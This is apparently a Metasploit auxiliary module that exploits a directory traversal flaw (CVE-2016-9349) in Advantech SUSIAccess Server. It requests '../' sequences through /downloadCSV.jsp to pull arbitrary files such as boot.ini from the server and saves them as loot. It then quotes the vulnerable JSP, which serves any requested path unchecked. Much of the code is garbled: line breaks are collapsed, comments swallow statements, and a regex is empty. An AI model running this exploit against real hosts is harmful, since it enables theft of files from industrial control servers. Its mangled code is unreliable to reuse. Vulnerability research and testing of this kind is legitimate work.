require 'msf/core'class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure','Description'=> %q{
This module exploits an information disclosure vulnerability found in
Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
sending a GET request to the server with a series of dot dot slashes (../)
in the file parameter.},'Author' => ['james fitts'],'License'=> MSF_LICENSE,'References' =>
[['CVE','2016-9349'],['ZDI','16-628'],['BID','94629'],['URL','https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04']],'DisclosureDate' => 'Dec 13 2016'))
register_options([
OptInt.new('DEPTH',[ false,'Levels to reach base directory', 10]),
OptString.new('FILE',[ false,'This is the file to download','boot.ini']),
Opt::RPORT(8080)], self.class)end
def run
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/"+("../"* depth)
file = "#{levels}#{datastore['FILE']}"
file = file.gsub(//,"%20")
res = send_request_raw({'method' => 'GET','uri' => "/downloadCSV.jsp?file=#{file}",})if res and res.code == 200
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")returnend
file = ::File.basename(datastore['FILE'])
path = store_loot('advantech_susiaccess.file','application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")returnelse
print_error("Something went wrong... Application returned a #{res.code}")endendend
__END__
<%@ page import="java.util.*,java.io.*"%>
<%
File f = new File (getServletContext().getRealPath("/")+ request.getParameter("file"));//set the content type(can be excel/word/powerpoint etc..)
response.setContentType ("application/csv");//set the header and also the Name by which user will be prompted to save
response.setHeader ("Content-Disposition","attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");//get the file name
String name = f.getName().substring(f.getName().lastIndexOf("/")+ 1,f.getName().length());//OPen an input stream to the file and post the file contents thru the
//servlet output stream to the client m/c
InputStream in = new FileInputStream(f);
ServletOutputStream outs = response.getOutputStream();
int bit = 256;
int i = 0;try{while((bit) >= 0){
bit = in.read();
outs.write(bit);}//System.out.println(""+bit);}catch(IOException ioe){
ioe.printStackTrace(System.out);}//System.out.println("n"+ i +" bytes sent.");//System.out.println("n"+ f.length()+" bytes sent.");
outs.flush();
outs.close();
in.close();%>